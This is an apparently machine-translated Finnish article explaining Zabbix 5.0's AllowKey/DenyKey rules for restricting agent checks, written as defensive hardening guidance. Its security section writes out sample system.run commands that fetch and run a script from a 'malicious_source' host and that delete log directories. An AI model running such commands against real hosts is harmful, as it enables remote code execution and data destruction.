Mustan ja valkoisen listan tuki agenttipuolen mittareille
Tikhon Uskov, integraatioinsinööri, Zabbix
Tietoturvaongelmat
Zabbix 5.0:ssa on uusi ominaisuus, jonka avulla voit parantaa Zabbix-agenttia käyttävien järjestelmien turvallisuutta ja korvaa vanhan parametrin Ota RemoteCommands käyttöön.
Agenttipohjaisten järjestelmien turvallisuuden parannukset johtuvat siitä, että agentti voi suorittaa suuren määrän mahdollisesti vaarallisia toimia.
- Agentti voi kerätä melkein mitä tahansa tietoa, mukaan lukien luottamukselliset tai mahdollisesti vaaralliset tiedot, määritystiedostoista, lokitiedostoista, salasanatiedostoista tai muista tiedostoista.
Esimerkiksi zabbix_get-apuohjelman avulla voit käyttää luetteloa käyttäjistä, heidän kotihakemistoistaan, salasanatiedostoista jne.
Tietojen käyttäminen zabbix_get-apuohjelman avulla
HUOM. Tietoja voidaan hakea vain, jos agentilla on vastaavan tiedoston lukuoikeudet. Mutta esimerkiksi tiedosto /etc/passwd/ kaikkien käyttäjien luettavissa.
- Agentti voi myös suorittaa mahdollisesti vaarallisia komentoja. Esimerkiksi näppäin *system.run[]** mahdollistaa kaikkien etäkomentojen suorittamisen verkkosolmuissa, mukaan lukien komentosarjojen suorittamisen Zabbix-verkkoliittymästä, jotka myös suorittavat komentoja agentin puolella.
# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]
# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]
- Linuxissa agentti toimii oletusarvoisesti ilman pääkäyttäjän oikeuksia, kun taas Windowsissa se toimii palveluna Järjestelmänä ja sillä on rajoittamaton pääsy tiedostojärjestelmään. Vastaavasti, jos Zabbix Agentin parametreihin ei tehdä muutoksia asennuksen jälkeen, agentilla on pääsy rekisteriin, tiedostojärjestelmään ja se voi suorittaa WMI-kyselyitä.
Aiemmissa versioissa parametri EnableRemoteCommands=0 sallittu vain poistaa mittarit käytöstä avaimella *system.run[]** ja komentosarjojen suorittaminen verkkokäyttöliittymästä, mutta yksittäisten tiedostojen käyttöä ei voitu rajoittaa, agentin kanssa asennettuja yksittäisiä avaimia sallia tai poistaa käytöstä tai rajoittaa yksittäisten parametrien käyttöä.
EnableRemoteCommand-parametrin käyttäminen Zabbixin aiemmissa versioissa
AllowKey/DenyKey
Zabbix 5.0 auttaa suojaamaan luvattomalta käytöltä tarjoamalla sallittuja ja mustia listoja mittareiden sallimiseksi ja estämiseksi agenttipuolella.
Zabbix 5.0:ssa kaikki avaimet, mukaan lukien *system.run[]** ovat käytössä, ja kaksi uutta agentin määritysvaihtoehtoa on lisätty:
AllowKey= — sallitut tarkastukset;
DenyKey= — kielletyt tarkastukset;
missä on avaimen nimimalli parametreineen, joka käyttää metamerkkejä (*).
AllowKey- ja DenyKey-näppäimillä voit sallia tai estää yksittäisiä mittareita tietyn mallin perusteella. Toisin kuin muut konfigurointiparametrit, AllowKey/DenyKey-parametrien määrää ei ole rajoitettu. Näin voit määrittää selkeästi, mitä agentti voi tarkalleen tehdä järjestelmässä luomalla tarkistuspuun - suoritettavat avaimet, joissa niiden kirjoitusjärjestys on erittäin tärkeä rooli.
Sääntöjärjestys
Säännöt tarkistetaan siinä järjestyksessä, jossa ne syötetään asetustiedostoon. Avain tarkistetaan sääntöjen mukaisesti ennen ensimmäistä osumaa, ja heti kun tietoelementin avain vastaa kuviota, se sallitaan tai kielletään. Tämän jälkeen säännön tarkistus pysähtyy ja jäljellä olevat avaimet ohitetaan.
Siksi, jos elementti vastaa sekä salli- että kieltämissääntöä, tulos riippuu siitä, mikä sääntö on ensimmäinen asetustiedostossa.
2 eri sääntöä samalla kuviolla ja avaimella vfs.file.size[/tmp/file]
AllowKey/DenyKey-näppäinten käyttöjärjestys:
- tarkat säännöt,
- yleiset säännöt,
- kieltävä sääntö.
Jos esimerkiksi tarvitset pääsyn tietyn kansion tiedostoihin, sinun on ensin sallittava pääsy niihin ja evättävä sitten kaikki muu, mikä ei kuulu määritettyjen oikeuksien piiriin. Jos estosääntöä käytetään ensin, pääsy kansioon estetään.
Oikea järjestys
Jos sinun on sallittava 2 apuohjelman suorittaminen *system.run[]**, ja kieltävä sääntö määritetään ensin, apuohjelmia ei käynnistetä, koska ensimmäinen kuvio vastaa aina mitä tahansa avainta, ja seuraavat säännöt ohitetaan.
Väärä järjestys
Kuviot
Perussääntöjä
Kuvio on ilmaus, jossa on yleismerkkejä. Metamerkki (*) vastaa minkä tahansa määrän merkkejä tietyssä paikassa. Metamerkkejä voidaan käyttää sekä avaimen nimessä että parametreissa. Voit esimerkiksi määrittää tiukasti ensimmäisen parametrin tekstillä, ja määritä seuraava jokerimerkkinä.
Parametrit tulee laittaa hakasulkeisiin [].
system.run[*
- väärävfs.file*.txt]
- väärävfs.file.*[*]
- oikein
Esimerkkejä jokerimerkkien käytöstä.
- Avaimen nimessä ja parametrissa. Tässä tapauksessa avain ei vastaa samanlaista avainta, joka ei sisällä parametria, koska mallissa ilmoitimme, että haluamme saada tietyn avaimen nimen päätteen ja tietyn parametrijoukon.
- Jos kuviossa ei käytetä hakasulkeita, kuvio sallii kaikki näppäimet, jotka eivät sisällä parametreja, ja estää kaikki avaimet, jotka sisältävät määritetyn parametrin.
- Jos avain on kirjoitettu kokonaan ja parametrit määritetään jokerimerkkeinä, se vastaa mitä tahansa vastaavaa avainta millä tahansa parametreilla eikä vastaa avainta ilman hakasulkeita, eli se sallitaan tai estetään.
Säännöt parametrien täyttämiseksi.
- Jos avain parametrein on tarkoitettu käytettäväksi, parametrit on määritettävä konfiguraatiotiedostossa. Parametrit on määritettävä metamerkkinä. On tarpeen evätä huolellisesti pääsy mihin tahansa tiedostoon ja ottaa huomioon, mitä tietoja metriikka voi tarjota eri kirjoitusasuilla - parametreilla ja ilman.
Parametreilla varustettujen näppäinten kirjoittamisen ominaisuudet
- Jos avain on määritetty parametreilla, mutta parametrit ovat valinnaisia ja määritetty metamerkkinä, avain ilman parametreja ratkaistaan. Jos esimerkiksi haluat estää tietojen vastaanottamisen suorittimen kuormituksesta ja määrittää, että system.cpu.load[*]-avain on poistettava käytöstä, älä unohda, että avain ilman parametreja palauttaa keskimääräisen kuormitusarvon.
Parametrien täyttämistä koskevat säännöt
Huomautuksia
säätö
- Käyttäjä ei voi muuttaa joitakin sääntöjä, kuten etsintäsääntöjä tai agentin automaattisen rekisteröinnin sääntöjä. AllowKey/DenyKey-säännöt eivät vaikuta seuraaviin parametreihin:
- IsäntänimiItem
- HostMetadataItem
- HostInterfaceItem
HUOM. Jos järjestelmänvalvoja poistaa avaimen käytöstä, Zabbix ei anna kyselyn yhteydessä tietoja siitä, miksi mittari tai avain kuuluu luokkaanEI TUETA'. Tietoja etäkomentojen suorituskielloista ei myöskään näytetä agenttilokitiedostoissa. Tämä on turvallisuussyistä, mutta se voi vaikeuttaa virheenkorjausta, jos tiedot jostain syystä joutuvat tuettuun luokkaan.
- Sinun ei pitäisi luottaa mihinkään tiettyyn järjestykseen liitettäessä ulkoisia määritystiedostoja (esimerkiksi aakkosjärjestyksessä).
Komentorivin apuohjelmat
Kun olet määrittänyt säännöt, sinun on varmistettava, että kaikki on määritetty oikein.
Voit käyttää yhtä kolmesta vaihtoehdosta:
- Lisää mittari Zabbixiin.
- Testaa kanssa zabbix_agentd. Zabbix-agentti optiolla -tulostus (-p) näyttää kaikki avaimet (jotka ovat oletuksena sallittuja) paitsi ne, joita kokoonpano ei salli. Ja vaihtoehdon kanssa -testi (-t) sillä kielletty avain palaaTuoteavainta ei tueta".
- Testaa kanssa zabbix_get. Apuohjelma zabbix_get vaihtoehdon kanssa -k palaa 'ZBX_NOTSUPPORTED: Tuntematon mittari".
Salli tai kiellä
Voit estää pääsyn tiedostoon ja vahvistaa esimerkiksi apuohjelman avulla zabbix_getettä pääsy tiedostoon on estetty.
**
HUOM. Parametrin lainausmerkit ohitetaan.
Tässä tapauksessa pääsy tällaiseen tiedostoon voidaan sallia eri polun kautta. Esimerkiksi, jos symbolilinkki johtaa siihen.
On suositeltavaa tarkistaa eri vaihtoehdot määriteltyjen sääntöjen soveltamiseksi ja ottaa huomioon myös mahdollisuudet kiertää kieltoja.
Kysymyksiä ja vastauksia
Kysymys. Miksi niin monimutkainen malli omalla kielellään valittiin kuvaamaan sääntöjä, lupia ja kieltoja? Miksi esimerkiksi Zabbixin käyttämiä säännöllisiä lausekkeita ei voitu käyttää?
Vastata. Tämä on säännöllisen lausekkeen suorituskykyongelma, koska agentteja on yleensä vain yksi ja se tarkistaa valtavan määrän mittareita. Regex on melko raskas operaatio, emmekä voi tarkistaa tuhansia mittareita tällä tavalla. Jokerimerkit - yleinen, laajalti käytetty ja yksinkertainen ratkaisu.
Kysymys. Eivätkö Include-tiedostot ole sisällytetty aakkosjärjestyksessä?
Vastata. Sikäli kuin tiedän, on käytännössä mahdotonta ennustaa järjestystä, jossa sääntöjä sovelletaan, jos haet säännöt eri tiedostoihin. Suosittelen keräämään kaikki AllowKey/DenyKey-säännöt yhteen Include-tiedostoon, koska ne ovat vuorovaikutuksessa toistensa kanssa, ja sisällytä tämä tiedosto.
Kysymys. Zabbix 5.0:ssa vaihtoehto 'EnableRemoteCommands=' puuttuu asetustiedostosta, ja vain AllowKey/DenyKey ovat käytettävissä?
Vastaus. kyllä se on oikein.
Спасибо за внимание!
Lähde: will.com